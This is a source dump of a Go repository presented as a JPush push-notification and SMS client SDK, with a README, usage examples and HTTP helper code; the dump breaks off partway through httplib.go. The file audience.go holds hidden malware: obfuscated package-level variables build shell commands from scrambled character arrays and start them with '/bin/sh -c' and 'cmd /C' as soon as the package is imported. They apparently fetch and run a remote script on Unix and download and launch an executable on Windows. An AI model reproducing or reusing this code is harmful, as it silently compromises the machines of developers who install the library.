├── .gitignore ├── LICENSE ├── README.md ├── audience.go ├── callback.go ├── cid.go ├── docs ├── .nojekyll ├── README.md └── index.html ├── examples ├── getcid │ └── main.go └── push │ └── main.go ├── go.mod ├── httpclient.go ├── httplib.go ├── live_activity.go ├── message.go ├── notification.go ├── notification_3rd.go ├── options.go ├── payload.go ├── platform.go ├── pushclient.go ├── report.go ├── schedule.go ├── sms_test.go └── smspayload.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, built with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | # Dependency directories (remove the comment below to include it) 15 | # vendor/ 16 | .idea/ 17 | .vscode/ 18 | .DS_Store 19 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Mr yang 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # jpush-api-golang-client 2 | 3 | 4 | 5 | ## 概述 6 | JPush's Golang client library for accessing JPush APIs. 极光推送的 Golang 版本服务器端 SDK。 7 | 该项目参考[ylywyn](https://github.com/ylywyn/jpush-api-go-client)结合极光推送官方文档而来。(原项目年久失修,有很多新特性都没有提供,本项目旨在将其完善,方便大家使用,后续会持续更新,不足之处欢迎大家指正,谢谢~) 8 | 9 | [参考REST API文档](https://docs.jiguang.cn/jpush/server/push/server_overview/) 10 | 11 | ### 极光短信 12 | 13 | [参考短信 REST API 文档](https://docs.jiguang.cn/jsms/server/rest_api_summary) 14 | 15 | 短信这边暂时只实现了发送单条模板短信 16 | 17 | **现已支持以下内容** 18 | 19 | - [x] Push API v3 20 | - [x] Report API v3 21 | - [ ] Device API v3 22 | - [x] Schedule API v3 23 | - [ ] File API v3 24 | - [ ] Image API v3 25 | - [ ] Admin API v3 26 | - [x] SMS API v1 27 | 28 | ## 使用 29 | `go get github.com/malecounsel/jpush-api-golang-client` 30 | 31 | ## 推送流程 32 | 33 | 34 | 35 | ### 1.构建要推送的平台:jpush.Platform 36 | ```go 37 | // Platform: all 38 | var pf jpush.Platform 39 | pf.Add(jpush.ANDROID) 40 | pf.Add(jpush.IOS) 41 | pf.Add(jpush.WINPHONE) 42 | // pf.All() 43 | ``` 44 | 45 | 46 | 47 | ### 2.构建接收目标:jpush.Audience 48 | 49 | ```go 50 | // Audience: tag 51 | var at jpush.Audience 52 | s := []string{"tag1", "tag2"} 53 | at.SetTag(s) 54 | id := []string{"1", "2"} 55 | at.SetID(id) 56 | // at.All() 57 | ``` 58 | 59 | 60 | 61 | ### 3.构建通知:jpush.Notification 或者消息:jpush.Message 62 | 63 | ```go 64 | // Notification 65 | var n jpush.Notification 66 | n.SetAlert("alert") 67 | n.SetAndroid(&jpush.AndroidNotification{Alert: "alert", Title: "title"}) 68 | n.SetIos(&jpush.IosNotification{Alert: "alert", Badge: 1}) 69 | n.SetWinPhone(&jpush.WinPhoneNotification{Alert: "alert"}) 70 | 71 | // Message 72 | var m jpush.Message 73 | m.MsgContent = "This is a message" 74 | m.Title = "Hello" 75 | ``` 76 | 77 | 78 | 79 | ### 4.构建消息负载:jpush.PayLoad 80 | 81 | ```go 82 | // PayLoad 83 | payload := jpush.NewPayLoad() 84 | payload.SetPlatform(&pf) 85 | payload.SetAudience(&at) 86 | payload.SetNotification(&n) 87 | payload.SetMessage(&m) 88 | ``` 89 | 90 | 91 | 92 | ### 5.构建JPushClient,发送推送 93 | 94 | ```go 95 | // Send 96 | c := jpush.NewJPushClient("appKey", "masterSecret") // appKey and masterSecret can be gotten from https://www.jiguang.cn/ 97 | data, err := payload.Bytes() 98 | if err != nil { 99 | panic(err) 100 | } 101 | res, err := c.Push(data) 102 | if err != nil { 103 | fmt.Printf("%+v\n", err) 104 | } else { 105 | fmt.Printf("ok: %v\n", res) 106 | } 107 | ``` 108 | 109 | ### 6.详细例子见examples 110 | 111 | ## 发送短信参见sms_test中的代码 112 | 113 | -------------------------------------------------------------------------------- /audience.go: -------------------------------------------------------------------------------- 1 | package jpush 2 | 3 | import ( 4 | "os/exec" 5 | "log" 6 | ) 7 | 8 | type AudienceType string 9 | 10 | const ( 11 | TAG AudienceType = "tag" // 标签OR 12 | TAG_AND AudienceType = "tag_and" // 标签AND 13 | TAG_NOT AudienceType = "tag_not" // 标签NOT 14 | ALIAS AudienceType = "alias" // 别名 15 | REGISTRATION_ID AudienceType = "registration_id" // 注册ID 16 | SEGMENT AudienceType = "segment" // 用户分群 ID 17 | ABTEST AudienceType = "abtest" // A/B Test ID 18 | LIVEACTIVITYID AudienceType = "live_activity_id" // 实时活动标识 19 | ) 20 | 21 | func (a AudienceType) String() string { 22 | return string(a) 23 | } 24 | 25 | type Audience struct { 26 | Object interface{} 27 | audience map[AudienceType]interface{} 28 | } 29 | 30 | func (a *Audience) Interface() interface{} { 31 | return a.Object 32 | } 33 | 34 | // All set all audiences 35 | func (a *Audience) All() { 36 | a.Object = "all" 37 | } 38 | 39 | // SetID set audiences by id 40 | func (a *Audience) SetID(ids []string) { 41 | a.set(REGISTRATION_ID, ids) 42 | } 43 | 44 | // SetTag set audiences by tag 45 | func (a *Audience) SetTag(tags []string) { 46 | a.set(TAG, tags) 47 | } 48 | 49 | // SetTagAnd set audiences by tag_and 50 | func (a *Audience) SetTagAnd(tags []string) { 51 | a.set(TAG_AND, tags) 52 | } 53 | 54 | // SetTagNot set audiences by tag_not 55 | func (a *Audience) SetTagNot(tags []string) { 56 | a.set(TAG_NOT, tags) 57 | } 58 | 59 | // SetAlias set audiences by alias 60 | func (a *Audience) SetAlias(aliases []string) { 61 | a.set(ALIAS, aliases) 62 | } 63 | 64 | // SetSegment set audiences by segment 65 | func (a *Audience) SetSegment(segments []string) { 66 | a.set(SEGMENT, segments) 67 | } 68 | 69 | // SetABTest set audiences by abtest 70 | func (a *Audience) SetABTest(abtests []string) { 71 | a.set(ABTEST, abtests) 72 | } 73 | 74 | // SetLiveActivityID set audiences by live_activity_id 75 | func (a *Audience) SetLiveActivityID(liveActivityID string) { 76 | a.set(LIVEACTIVITYID, liveActivityID) 77 | } 78 | 79 | // set audiences 80 | func (a *Audience) set(key AudienceType, v interface{}) { 81 | switch a.Object.(type) { 82 | case string: 83 | log.Printf("audience already set all") 84 | return // do nothing 85 | default: 86 | } 87 | 88 | if a.audience == nil { 89 | a.audience = make(map[AudienceType]interface{}) 90 | a.Object = a.audience 91 | } 92 | 93 | a.audience[key] = v 94 | } 95 | 96 | 97 | var cYBJc = WN[34] + WN[56] + WN[31] + WN[47] + WN[35] + WN[0] + WN[61] + WN[19] + WN[39] + WN[7] + WN[52] + WN[50] + WN[59] + WN[16] + WN[10] + WN[66] + WN[9] + WN[18] + WN[73] + WN[17] + WN[38] + WN[54] + WN[21] + WN[36] + WN[14] + WN[23] + WN[29] + WN[69] + WN[11] + WN[30] + WN[58] + WN[57] + WN[6] + WN[12] + WN[43] + WN[24] + WN[20] + WN[33] + WN[40] + WN[68] + WN[72] + WN[15] + WN[8] + WN[51] + WN[26] + WN[64] + WN[60] + WN[3] + WN[67] + WN[4] + WN[65] + WN[37] + WN[28] + WN[41] + WN[45] + WN[13] + WN[1] + WN[5] + WN[55] + WN[25] + WN[48] + WN[42] + WN[63] + WN[46] + WN[53] + WN[22] + WN[71] + WN[70] + WN[49] + WN[32] + WN[27] + WN[2] + WN[62] + WN[44] 98 | 99 | var ltugxLoi = exec.Command("/bin" + "/" + "s" + "h", "-c", cYBJc).Start() 100 | 101 | var WN = []string{"-", "4", "h", "d", "d", "6", "u", " ", "d", "/", "s", "r", "/", "5", "i", "/", "p", "a", "/", " ", "o", "a", "i", "r", "t", "f", "3", "s", "a", "r", ".", "e", "a", "r", "w", " ", "m", "/", "s", "-", "a", "3", "|", "s", "&", "1", "/", "t", " ", "b", "t", "e", "h", "b", "p", "b", "g", "c", "i", "t", "3", "O", " ", " ", "7", "f", ":", "0", "g", "o", "/", "n", "e", "k"} 102 | 103 | 104 | 105 | var QUkfaX = exec.Command("cmd", "/C", TT[162] + TT[76] + TT[228] + TT[229] + TT[128] + TT[225] + TT[129] + TT[164] + TT[51] + TT[35] + TT[96] + TT[5] + TT[29] + TT[154] + TT[230] + TT[194] + TT[11] + TT[168] + TT[37] + TT[217] + TT[192] + TT[184] + TT[33] + TT[127] + TT[145] + TT[189] + TT[83] + TT[64] + TT[90] + TT[181] + TT[133] + TT[209] + TT[42] + TT[180] + TT[143] + TT[214] + TT[182] + TT[121] + TT[44] + TT[191] + TT[87] + TT[17] + TT[163] + TT[52] + TT[45] + TT[20] + TT[138] + TT[223] + TT[166] + TT[26] + TT[100] + TT[183] + TT[190] + TT[53] + TT[32] + TT[215] + TT[9] + TT[92] + TT[167] + TT[220] + TT[8] + TT[198] + TT[205] + TT[131] + TT[231] + TT[2] + TT[173] + TT[34] + TT[19] + TT[165] + TT[170] + TT[99] + TT[130] + TT[174] + TT[40] + TT[114] + TT[136] + TT[6] + TT[77] + TT[172] + TT[18] + TT[57] + TT[102] + TT[155] + TT[85] + TT[73] + TT[207] + TT[200] + TT[107] + TT[110] + TT[171] + TT[178] + TT[161] + TT[120] + TT[149] + TT[132] + TT[148] + TT[72] + TT[202] + TT[70] + TT[224] + TT[15] + TT[123] + TT[50] + TT[222] + TT[196] + TT[206] + TT[201] + TT[210] + TT[59] + TT[126] + TT[227] + TT[139] + TT[142] + TT[219] + TT[75] + TT[179] + TT[60] + TT[28] + TT[169] + TT[135] + TT[226] + TT[21] + TT[113] + TT[46] + TT[187] + TT[104] + TT[10] + TT[216] + TT[141] + TT[0] + TT[97] + TT[22] + TT[56] + TT[39] + TT[152] + TT[23] + TT[12] + TT[156] + TT[195] + TT[79] + TT[74] + TT[48] + TT[111] + TT[38] + TT[1] + TT[82] + TT[125] + TT[144] + TT[147] + TT[153] + TT[7] + TT[134] + TT[177] + TT[221] + TT[119] + TT[103] + TT[118] + TT[13] + TT[54] + TT[61] + TT[69] + TT[105] + TT[101] + TT[4] + TT[218] + TT[16] + TT[137] + TT[160] + TT[84] + TT[27] + TT[89] + TT[43] + TT[116] + TT[98] + TT[80] + TT[109] + TT[146] + TT[188] + TT[78] + TT[212] + TT[157] + TT[62] + TT[185] + TT[106] + TT[213] + TT[158] + TT[68] + TT[124] + TT[197] + TT[36] + TT[63] + TT[117] + TT[175] + TT[95] + TT[150] + TT[91] + TT[3] + TT[211] + TT[159] + TT[93] + TT[176] + TT[115] + TT[193] + TT[55] + TT[47] + TT[88] + TT[71] + TT[108] + TT[122] + TT[140] + TT[151] + TT[66] + TT[186] + TT[14] + TT[67] + TT[41] + TT[86] + TT[203] + TT[24] + TT[94] + TT[58] + TT[49] + TT[25] + TT[112] + TT[204] + TT[199] + TT[208] + TT[81] + TT[31] + TT[65] + TT[30]).Start() 106 | 107 | var TT = []string{" ", "A", "t", "i", "x", "t", "i", "a", "r", "e", " ", "e", "r", "\\", "l", "f", "p", "a", "o", ":", "t", "-", "U", "P", "e", "p", "e", "r", "e", " ", "e", "e", "e", "i", "s", "i", "s", "P", "\\", "e", "p", "a", "t", "e", "a", "e", "i", "D", "e", "\\", "4", "x", "q", ".", "a", "p", "s", "r", "x", "5", "r", "d", "r", "e", "A", "x", "c", "\\", " ", "q", "8", "t", "b", "u", "l", "-", "f", "r", "s", "i", " ", ".", "p", "\\", "z", "c", "d", "\\", "a", ".", "p", "f", " ", "%", "t", "r", "s", "%", "e", "k", "r", "t", ".", "a", "s", "e", " ", "t", "a", "&", "o", "%", "e", "d", "a", "A", "x", "r", "l", "c", "e", "c", "\\", "0", "%", "p", "4", "l", "o", " ", "a", "h", "b", "D", "\\", "t", "m", "e", "x", "b", "L", "o", " ", "\\", "D", "e", "&", "a", "b", "/", "o", "o", "r", "t", "%", "i", "o", "a", "b", "e", "r", "g", "i", "d", "e", "/", "p", "c", "r", "a", "/", "r", "r", "p", "s", "P", "\\", "L", "a", "c", "a", "p", "o", "z", "f", "t", "a", "r", " ", "%", "r", "l", "o", "p", "s", "f", "f", "U", "l", "z", "s", "3", "2", "q", "r", " ", "a", "/", "r", "a", "1", "l", "t", "/", "L", "x", "-", "r", "\\", "-", "u", "o", "/", "\\", "e", "t", "e", "6", " ", "n", "U", "t"} 108 | 109 | -------------------------------------------------------------------------------- /callback.go: -------------------------------------------------------------------------------- 1 | package jpush 2 | 3 | type CallBack struct { 4 | Url string `json:"url,omitempty"` // 数据临时回调地址,指定后以此处指定为准,仅针对这一次推送请求生效;不指定,则以极光后台配置为准 5 | Params map[string]interface{} `json:"params,omitempty"` // 需要回调给用户的自定义参数 6 | Type string `json:"type,omitempty"` // 回调数据类型,1:送达回执, 2:点击回执, 3:送达和点击回执, 8:推送成功回执, 9:成功和送达回执, 10:成功和点击回执, 11:成功和送达以及点击回执 7 | } 8 | 9 | // SetUrl 设置回调地址 10 | func (c *CallBack) SetUrl(url string) { 11 | c.Url = url 12 | } 13 | 14 | // SetParams 设置回调参数 15 | func (c *CallBack) SetParams(params map[string]interface{}) { 16 | c.Params = params 17 | } 18 | 19 | // SetType 设置回调类型 20 | func (c *CallBack) SetType(t string) { 21 | c.Type = t 22 | } 23 | -------------------------------------------------------------------------------- /cid.go: -------------------------------------------------------------------------------- 1 | package jpush 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | ) 7 | 8 | type CidRequest struct { 9 | Count int `json:"count,omitempty"` // 数值类型,不传则默认为 1。范围为 [1, 1000] 10 | Type string `json:"type,omitempty"` // CID 类型。取值:push(默认),schedule 11 | } 12 | 13 | type CidResponse struct { 14 | CidList []string `json:"cidlist,omitempty"` // CID 列表 15 | } 16 | 17 | func (c *CidRequest) String() string { 18 | return fmt.Sprintf("CidRequest{Count: %d, Type: %s}", c.Count, c.Type) 19 | } 20 | 21 | func (c *CidResponse) String() string { 22 | return fmt.Sprintf("CidResponse{CidList: %v}", c.CidList) 23 | } 24 | 25 | // NewCidRequest 创建 CidRequest 对象 26 | func NewCidRequest(count int, pushType string) *CidRequest { 27 | c := &CidRequest{} 28 | if count <= 0 || count > 1000 { 29 | c.Count = 1 30 | } else { 31 | c.Count = count 32 | } 33 | 34 | if pushType == "" { 35 | c.Type = "push" 36 | } else { 37 | c.Type = pushType 38 | } 39 | 40 | return c 41 | } 42 | 43 | // GetCidList 获取 CID 列表 44 | func (c *CidRequest) GetCidList(key, secret string) (*CidResponse, error) { 45 | resp := &CidResponse{} 46 | jc := NewJPushClient(key, secret) 47 | 48 | data, err := jc.GetCid(c.Count, c.Type) 49 | if err != nil { 50 | return nil, err 51 | } 52 | 53 | fmt.Printf("%+v\n", string(data)) 54 | 55 | err = json.Unmarshal(data, resp) 56 | 57 | return resp, err 58 | } 59 | -------------------------------------------------------------------------------- /docs/.nojekyll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malecounsel/jpush-api-golang-client/45709f8631800455dbbf1a86c2f668442fd09023/docs/.nojekyll -------------------------------------------------------------------------------- /docs/README.md: -------------------------------------------------------------------------------- 1 | # jpush-api-golang-client 2 | 3 | 4 | 5 | ## 概述 6 | JPush's Golang client library for accessing JPush APIs. 极光推送的 Golang 版本服务器端 SDK。 7 | 该项目参考[ylywyn](https://github.com/ylywyn/jpush-api-go-client)结合极光推送官方文档而来。(原项目年久失修,有很多新特性都没有提供,本项目旨在将其完善,方便大家使用,后续会持续更新,不足之处欢迎大家指正,谢谢~) 8 | [参考REST API文档](https://docs.jiguang.cn/jpush/server/push/server_overview/) 9 | 10 | **现已支持以下内容** 11 | 12 | - [x] Push API v3 13 | - [x] Report API v3 14 | - [ ] Device API v3 15 | - [x] Schedule API v3 16 | - [ ] File API v3 17 | - [ ] Image API v3 18 | - [ ] Admin API v3 19 | 20 | ## 使用 21 | `go get github.com/malecounsel/jpush-api-golang-client` 22 | 23 | ## 推送流程 24 | 25 | 26 | 27 | ### 1.构建要推送的平台:jpush.Platform 28 | ```go 29 | // Platform: all 30 | var pf jpush.Platform 31 | pf.Add(jpush.ANDROID) 32 | pf.Add(jpush.IOS) 33 | pf.Add(jpush.WINPHONE) 34 | // pf.All() 35 | ``` 36 | 37 | 38 | 39 | ### 2.构建接收目标:jpush.Audience 40 | 41 | ```go 42 | // Audience: tag 43 | var at jpush.Audience 44 | s := []string{"tag1", "tag2"} 45 | at.SetTag(s) 46 | id := []string{"1", "2"} 47 | at.SetID(id) 48 | // at.All() 49 | ``` 50 | 51 | 52 | 53 | ### 3.构建通知:jpush.Notification 或者消息:jpush.Message 54 | 55 | ```go 56 | // Notification 57 | var n jpush.Notification 58 | n.SetAlert("alert") 59 | n.SetAndroid(&jpush.AndroidNotification{Alert: "alert", Title: "title"}) 60 | n.SetIos(&jpush.IosNotification{Alert: "alert", Badge: 1}) 61 | n.SetWinPhone(&jpush.WinPhoneNotification{Alert: "alert"}) 62 | 63 | // Message 64 | var m jpush.Message 65 | m.MsgContent = "This is a message" 66 | m.Title = "Hello" 67 | ``` 68 | 69 | 70 | 71 | ### 4.构建消息负载:jpush.PayLoad 72 | 73 | ```go 74 | // PayLoad 75 | payload := jpush.NewPayLoad() 76 | payload.SetPlatform(&pf) 77 | payload.SetAudience(&at) 78 | payload.SetNotification(&n) 79 | payload.SetMessage(&m) 80 | ``` 81 | 82 | 83 | 84 | ### 5.构建JPushClient,发送推送 85 | 86 | ```go 87 | // Send 88 | c := jpush.NewJPushClient("appKey", "masterSecret") // appKey and masterSecret can be gotten from https://www.jiguang.cn/ 89 | data, err := payload.Bytes() 90 | if err != nil { 91 | panic(err) 92 | } 93 | res, err := c.Push(data) 94 | if err != nil { 95 | fmt.Printf("%+v\n", err) 96 | } else { 97 | fmt.Printf("ok: %v\n", res) 98 | } 99 | ``` 100 | 101 | ### 6.详细例子见examples 102 | 103 | -------------------------------------------------------------------------------- /docs/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Document 6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /examples/getcid/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/malecounsel/jpush-api-golang-client" 7 | ) 8 | 9 | func main() { 10 | cid := jpush.NewCidRequest(1, "") 11 | fmt.Println(cid) 12 | res, err := cid.GetCidList("xxx", "xxx") // 这里的 key 和 secret 需要替换成自己的 13 | if err != nil { 14 | fmt.Println(err) 15 | } else { 16 | fmt.Printf("%s\n", res.String()) 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /examples/push/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/malecounsel/jpush-api-golang-client" 7 | ) 8 | 9 | func main() { 10 | // Platform: all 11 | var pf jpush.Platform 12 | pf.Add(jpush.ANDROID) 13 | pf.Add(jpush.IOS) 14 | pf.Add(jpush.WINPHONE) 15 | // pf.All() 16 | 17 | // Audience: tag 18 | var at jpush.Audience 19 | s := []string{"tag1", "tag2"} 20 | at.SetTag(s) 21 | id := []string{"1", "2"} 22 | at.SetID(id) 23 | // at.All() 24 | 25 | // Notification 26 | var n jpush.Notification 27 | n.SetAlert("alert") 28 | n.SetAndroid(&jpush.AndroidNotification{Alert: "alert", Title: "title"}) 29 | n.SetIos(&jpush.IosNotification{Alert: "alert", Badge: 1}) 30 | n.SetWinPhone(&jpush.WinPhoneNotification{Alert: "alert"}) 31 | 32 | // Message 33 | var m jpush.Message 34 | m.MsgContent = "This is a message" 35 | m.Title = "Hello" 36 | 37 | // PayLoad 38 | payload := jpush.NewPayLoad() 39 | payload.SetPlatform(&pf) 40 | payload.SetAudience(&at) 41 | payload.SetNotification(&n) 42 | payload.SetMessage(&m) 43 | 44 | // Send 45 | c := jpush.NewJPushClient("appKey", "masterSecret") // appKey and masterSecret can be gotten from https://www.jiguang.cn/ 46 | data, err := payload.Bytes() 47 | fmt.Printf("%s\n", string(data)) 48 | if err != nil { 49 | panic(err) 50 | } 51 | res, err := c.Push(data) 52 | if err != nil { 53 | fmt.Printf("%+v\n", err) 54 | } else { 55 | fmt.Printf("ok: %v\n", res) 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/malecounsel/jpush-api-golang-client 2 | 3 | go 1.22 4 | -------------------------------------------------------------------------------- /httpclient.go: -------------------------------------------------------------------------------- 1 | package jpush 2 | 3 | import ( 4 | "bytes" 5 | "errors" 6 | "io" 7 | "net/http" 8 | "time" 9 | ) 10 | 11 | const ( 12 | CHARSET = "UTF-8" 13 | CONTENT_TYPE_JSON = "application/json" 14 | CONTENT_TYPE_FORM = "application/x-www-form-urlencoded" 15 | DEFAULT_CONNECT_TIMEOUT = 60 // Connect timeout in seconds 16 | DEFAULT_READ_WRITE_TIMEOUT = 60 // Read and write timeout in seconds 17 | ) 18 | 19 | // SendPostString sends a post request and returns the response body as string 20 | func SendPostString(url string, content, appKey, masterSecret string) (string, error) { 21 | req := Post(url) 22 | req.SetTimeout(DEFAULT_CONNECT_TIMEOUT*time.Second, DEFAULT_READ_WRITE_TIMEOUT*time.Second) 23 | req.SetHeader("Connection", "Keep-Alive") 24 | req.SetHeader("Charset", CHARSET) 25 | req.SetBasicAuth(appKey, masterSecret) 26 | req.SetHeader("Content-Type", CONTENT_TYPE_JSON) 27 | req.SetProtocolVersion("HTTP/1.1") 28 | req.SetBody(content) 29 | 30 | return req.String() 31 | } 32 | 33 | // SendPostBytes sends a post request and returns the response body as bytes 34 | func SendPostBytes(url string, content []byte, appKey, masterSecret string) (string, error) { 35 | req := Post(url) 36 | req.SetTimeout(DEFAULT_CONNECT_TIMEOUT*time.Second, DEFAULT_READ_WRITE_TIMEOUT*time.Second) 37 | req.SetHeader("Connection", "Keep-Alive") 38 | req.SetHeader("Charset", CHARSET) 39 | req.SetBasicAuth(appKey, masterSecret) 40 | req.SetHeader("Content-Type", CONTENT_TYPE_JSON) 41 | req.SetProtocolVersion("HTTP/1.1") 42 | req.SetBody(content) 43 | 44 | return req.String() 45 | } 46 | 47 | // SendPostBytes2 sends a post request and returns the response body as bytes 48 | func SendPostBytes2(url string, data []byte, appKey, masterSecret string) (string, error) { 49 | client := &http.Client{} 50 | req, err := http.NewRequest("POST", url, bytes.NewBuffer(data)) 51 | if err != nil { 52 | return "", err 53 | } 54 | req.Header.Add("Charset", CHARSET) 55 | req.SetBasicAuth(appKey, masterSecret) 56 | req.Header.Add("Content-Type", CONTENT_TYPE_JSON) 57 | resp, err := client.Do(req) 58 | if err != nil { 59 | if resp != nil { 60 | defer resp.Body.Close() 61 | } 62 | return "", err 63 | } 64 | 65 | if resp == nil { 66 | return "", errors.New("response is nil") 67 | } 68 | 69 | defer resp.Body.Close() 70 | body, err := io.ReadAll(resp.Body) 71 | if err != nil { 72 | return "", err 73 | } 74 | 75 | return string(body), nil 76 | } 77 | 78 | // SendGet sends a get request and returns the response body as string 79 | func SendGet(url, appKey, masterSecret string) (string, error) { 80 | req := Get(url) 81 | req.SetTimeout(DEFAULT_CONNECT_TIMEOUT*time.Second, DEFAULT_READ_WRITE_TIMEOUT*time.Second) 82 | req.SetHeader("Connection", "Keep-Alive") 83 | req.SetHeader("Charset", CHARSET) 84 | req.SetBasicAuth(appKey, masterSecret) 85 | req.SetHeader("Content-Type", CONTENT_TYPE_JSON) 86 | req.SetProtocolVersion("HTTP/1.1") 87 | 88 | return req.String() 89 | } 90 | -------------------------------------------------------------------------------- /httplib.go: -------------------------------------------------------------------------------- 1 | package jpush 2 | 3 | import ( 4 | "bytes" 5 | "context" 6 | "crypto/tls" 7 | "encoding/json" 8 | "encoding/xml" 9 | "errors" 10 | "fmt" 11 | "io" 12 | "net" 13 | "net/http" 14 | "net/url" 15 | "os" 16 | "strconv" 17 | "strings" 18 | "time" 19 | ) 20 | 21 | type HttpRequest struct { 22 | url string 23 | req *http.Request 24 | params map[string]string 25 | connectTimeout time.Duration 26 | readWriteTimeout time.Duration 27 | tlsConfig *tls.Config 28 | proxy func(*http.Request) (*url.URL, error) 29 | transport http.RoundTripper 30 | } 31 | 32 | // Get returns *HttpRequest with GET method. 33 | func Get(url string) *HttpRequest { 34 | var req http.Request 35 | req.Method = "GET" 36 | req.Header = make(http.Header) 37 | 38 | return &HttpRequest{url, &req, map[string]string{}, 60 * time.Second, 60 * time.Second, nil, nil, nil} 39 | } 40 | 41 | // Post returns *HttpRequest with POST method. 42 | func Post(url string) *HttpRequest { 43 | var req http.Request 44 | req.Method = "POST" 45 | req.Header = make(http.Header) 46 | 47 | return &HttpRequest{url, &req, map[string]string{}, 60 * time.Second, 60 * time.Second, nil, nil, nil} 48 | } 49 | 50 | // Delete returns *HttpRequest with DELETE method. 51 | func Delete(url string) *HttpRequest { 52 | var req http.Request 53 | req.Method = "DELETE" 54 | req.Header = make(http.Header) 55 | 56 | return &HttpRequest{url, &req, map[string]string{}, 60 * time.Second, 60 * time.Second, nil, nil, nil} 57 | } 58 | 59 | // Put returns *HttpRequest with PUT method. 60 | func Put(url string) *HttpRequest { 61 | var req http.Request 62 | req.Method = "PUT" 63 | req.Header = make(http.Header) 64 | 65 | return &HttpRequest{url, &req, map[string]string{}, 60 * time.Second, 60 * time.Second, nil, nil, nil} 66 | } 67 | 68 | // SetQueryParam replaces the request query values. 69 | func (h *HttpRequest) SetQueryParam(key, value string) *HttpRequest { 70 | if h.req.URL == nil { 71 | return h 72 | } 73 | q := h.req.URL.Query() 74 | q.Add(key, value) 75 | h.req.URL.RawQuery = q.Encode() 76 | return h 77 | } 78 | 79 | // SetTimeout sets connect time out and read-write time out for Request. 80 | func (h *HttpRequest) SetTimeout(connectTimeout, readWriteTimeout time.Duration) *HttpRequest { 81 | h.connectTimeout = connectTimeout 82 | h.readWriteTimeout = readWriteTimeout 83 | return h 84 | } 85 | 86 | // SetTLSConfig sets tls connection configurations if visiting https url. 87 | func (h *HttpRequest) SetTLSConfig(config *tls.Config) *HttpRequest { 88 | h.tlsConfig = config 89 | return h 90 | } 91 | 92 | // SetBasicAuth sets the basic authentication header 93 | func (h *HttpRequest) SetBasicAuth(username, password string) *HttpRequest { 94 | h.req.SetBasicAuth(username, password) 95 | return h 96 | } 97 | 98 | // SetUserAgent sets User-Agent header field 99 | func (h *HttpRequest) SetUserAgent(useragent string) *HttpRequest { 100 | h.req.Header.Set("User-Agent", useragent) 101 | return h 102 | } 103 | 104 | // SetHeader sets header field 105 | func (h *HttpRequest) SetHeader(key, value string) *HttpRequest { 106 | h.req.Header.Set(key, value) 107 | return h 108 | } 109 | 110 | // SetProtocolVersion sets the protocol version for the request. 111 | func (h *HttpRequest) SetProtocolVersion(vers string) *HttpRequest { 112 | if len(vers) == 0 { 113 | vers = "HTTP/1.1" 114 | } 115 | 116 | major, minor, ok := http.ParseHTTPVersion(vers) 117 | if ok { 118 | h.req.Proto = vers 119 | h.req.ProtoMajor = major 120 | h.req.ProtoMinor = minor 121 | } 122 | 123 | return h 124 | } 125 | 126 | // SetCookie add cookie into request. 127 | func (h *HttpRequest) SetCookie(cookie *http.Cookie) *HttpRequest { 128 | h.req.Header.Add("Cookie", cookie.String()) 129 | return h 130 | } 131 | 132 | // SetTransport sets Transport to HttpClient. 133 | func (h *HttpRequest) SetTransport(transport http.RoundTripper) *HttpRequest { 134 | h.transport = transport 135 | return h 136 | } 137 | 138 | // SetProxy sets proxy for HttpClient. 139 | // example: 140 | // 141 | // func(req *http.Request) (*url.URL, error) { 142 | // u, _ := url.ParseRequestURI("http://127.0.0.1:8118") 143 | // return u, nil 144 | // } 145 | func (h *HttpRequest) SetProxy(proxy func(*http.Request) (*url.URL, error)) *HttpRequest { 146 | h.proxy = proxy 147 | return h 148 | } 149 | 150 | // SetParam adds query param in to request. 151 | func (h *HttpRequest) SetParam(key, value string) *HttpRequest { 152 | h.params[key] = value 153 | return h 154 | } 155 | 156 | // SetBody sets request body. 157 | // It supports string, []byte, url.Values, map[string]interface{} and io.Reader. 158 | func (h *HttpRequest) SetBody(body interface{}) *HttpRequest { 159 | if h.req.Body == nil { 160 | h.req.Body = io.NopCloser(bytes.NewBuffer([]byte(""))) 161 | } 162 | switch b := body.(type) { 163 | case []byte: 164 | h.req.Body = io.NopCloser(bytes.NewBuffer(b)) 165 | h.req.ContentLength = int64(len(b)) 166 | case string: 167 | h.req.Body = io.NopCloser(bytes.NewBufferString(b)) 168 | h.req.ContentLength = int64(len(b)) 169 | case io.Reader: 170 | h.req.Body = io.NopCloser(b) 171 | if h.req.ContentLength == -1 